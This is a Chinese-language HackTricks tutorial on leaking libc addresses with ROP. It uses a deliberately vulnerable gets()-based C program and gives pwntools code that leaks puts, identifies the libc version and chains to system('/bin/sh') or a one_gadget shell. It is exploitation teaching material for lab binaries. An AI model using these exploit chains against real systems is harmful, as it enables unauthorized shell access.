Leaking libc address with ROP

支持 HackTricks

快速概述

  1. 找到 溢出 偏移量

  2. 找到 POP_RDI gadget、PUTS_PLTMAIN gadgets

  3. 使用之前的 gadgets 泄露 puts 或其他 libc 函数的内存地址找到 libc 版本 (下载它)

  4. 使用库,计算 ROP 并进行利用

其他教程和二进制文件以供实践

本教程将利用本教程中提出的代码/二进制文件:https://tasteofsecurity.com/security/ret2libc-unknown-libc/ 另一个有用的教程:https://made0x78.com/bseries-ret2libc/https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

代码

文件名:vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - 泄露 LIBC 模板

下载漏洞利用程序并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据:

Leaking libc - template

1- 查找偏移量

模板在继续进行漏洞利用之前需要一个偏移量。如果提供了任何偏移量,它将执行必要的代码来查找它(默认 OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

执行 python template.py 将打开一个 GDB 控制台,程序将崩溃。在该 GDB 控制台 中执行 x/wx $rsp 以获取将要覆盖 RIP 的 字节。最后使用 python 控制台获取 偏移量

from pwn import *
cyclic_find(0x6161616b)

在找到偏移量(在这种情况下为 40)后,使用该值更改模板中的 OFFSET 变量。 OFFSET = "A" * 40

另一种方法是使用: pattern create 1000 -- 执行直到 ret -- pattern seach $rsp 从 GEF。

2- 寻找 Gadgets

现在我们需要在二进制文件中找到 ROP gadgets。这些 ROP gadgets 将用于调用 puts 以找到正在使用的 libc,并随后 启动最终的利用

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

The PUTS_PLT 是调用 function puts 所需的。 The MAIN_PLT 是在一次交互后再次调用 main functionexploit 溢出 again(无限轮次的利用)所需的。它在每个 ROP 的末尾用于再次调用程序。 The POP_RDIpass 一个 parameter 给被调用的函数所需的。

在这一步你不需要执行任何操作,因为所有内容将在执行期间由 pwntools 找到。

3- 查找 libc 库

现在是时候找出正在使用的 libc 库的版本了。为此,我们将 leak function puts 在内存中的 address,然后我们将 search 在该地址中 library version 的 puts 版本。

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

要做到这一点,执行代码中最重要的一行是:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

这将发送一些字节,直到覆盖****RIP成为可能:OFFSET。 然后,它将设置小工具POP_RDI地址,以便下一个地址(FUNC_GOT)将被保存在RDI寄存器中。这是因为我们想要调用 puts传递PUTS_GOT地址,因为 puts 函数在内存中的地址保存在指向PUTS_GOT的地址中。 之后,将调用PUTS_PLT(在RDI中包含PUTS_GOT),因此 puts 将读取PUTS_GOT中的内容(内存中 puts 函数的地址)并将其打印出来。 最后,再次调用主函数,以便我们可以再次利用溢出。

通过这种方式,我们已经欺骗了 puts 函数,使其打印内存中函数puts地址(该地址位于libc库中)。现在我们有了这个地址,我们可以搜索正在使用的 libc 版本

由于我们正在利用某个本地二进制文件,因此不需要弄清楚正在使用哪个版本的libc(只需在/lib/x86_64-linux-gnu/libc.so.6中找到库)。 但是,在远程利用的情况下,我将在这里解释如何找到它:

3.1- 搜索 libc 版本 (1)

您可以在网页上搜索正在使用的库:https://libc.blukat.me/ 它还允许您下载发现的libc版本。

3.2- 搜索 libc 版本 (2)

您还可以执行:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

这将需要一些时间,请耐心等待。 为了使其工作,我们需要:

  • Libc 符号名称:puts

  • 泄露的 libc 地址:0x7ff629878690

我们可以找出最有可能使用的libc

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

我们得到了两个匹配(如果第一个不工作,你应该尝试第二个)。下载第一个:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so 中的 libc 复制到我们的工作目录。

3.3- 其他泄露函数

puts
printf
__libc_start_main
read
gets

4- 查找基础 libc 地址与利用

在这一点上,我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件,我将使用:/lib/x86_64-linux-gnu/libc.so.6

因此,在 template.py 的开头将 libc 变量更改为: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道它时

libc 库 提供 路径 后,利用的其余部分将会自动计算

get_addr 函数内部,libc 的基地址 将会被计算:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

注意 最终的 libc 基地址必须以 00 结尾。如果不是这种情况,您可能泄露了不正确的库。

然后,函数 system 的地址和字符串 "/bin/sh"地址 将从 libc基地址 计算得出,并给定 libc 库

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

最后,将准备发送 /bin/sh 执行漏洞:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

让我们解释这个最终的 ROP。 最后的 ROP (rop1) 再次调用了主函数,然后我们可以 再次利用 这个 溢出(这就是 OFFSET 再次出现的原因)。然后,我们想要调用 POP_RDI 指向 "/bin/sh"地址 (BINSH),并调用 system 函数 (SYSTEM),因为 "/bin/sh" 的地址将作为参数传递。 最后,退出函数的地址调用,这样进程 优雅地退出,不会生成任何警报。

这样,利用将执行一个 _/bin/sh_** shell.**

4(2)- 使用 ONE_GADGET

你也可以使用 ONE_GADGET 来获取一个 shell,而不是使用 system"/bin/sh"ONE_GADGET 将在 libc 库中找到一些方法,只需一个 ROP 地址 即可获得 shell。 然而,通常会有一些限制,最常见且容易避免的限制是 [rsp+0x30] == NULL。由于你控制 RSP 中的值,你只需发送一些更多的 NULL 值,以便避免这个限制。

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

您可以在这里找到利用此漏洞的模板:

Leaking libc - template

常见问题

MAIN_PLT = elf.symbols['main'] 未找到

如果“main”符号不存在。然后您可以找到主代码的位置:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

并手动设置地址:

MAIN_PLT = 0x401080

Puts未找到

如果二进制文件没有使用Puts,您应该检查它是否使用

sh: 1: %s%s%s%s%s%s%s%s: 未找到

如果在创建所有漏洞利用后发现此错误sh: 1: %s%s%s%s%s%s%s%s: 未找到

尝试从“/bin/sh”的地址中减去64字节

BINSH = next(libc.search("/bin/sh")) - 64
支持 HackTricks

Last updated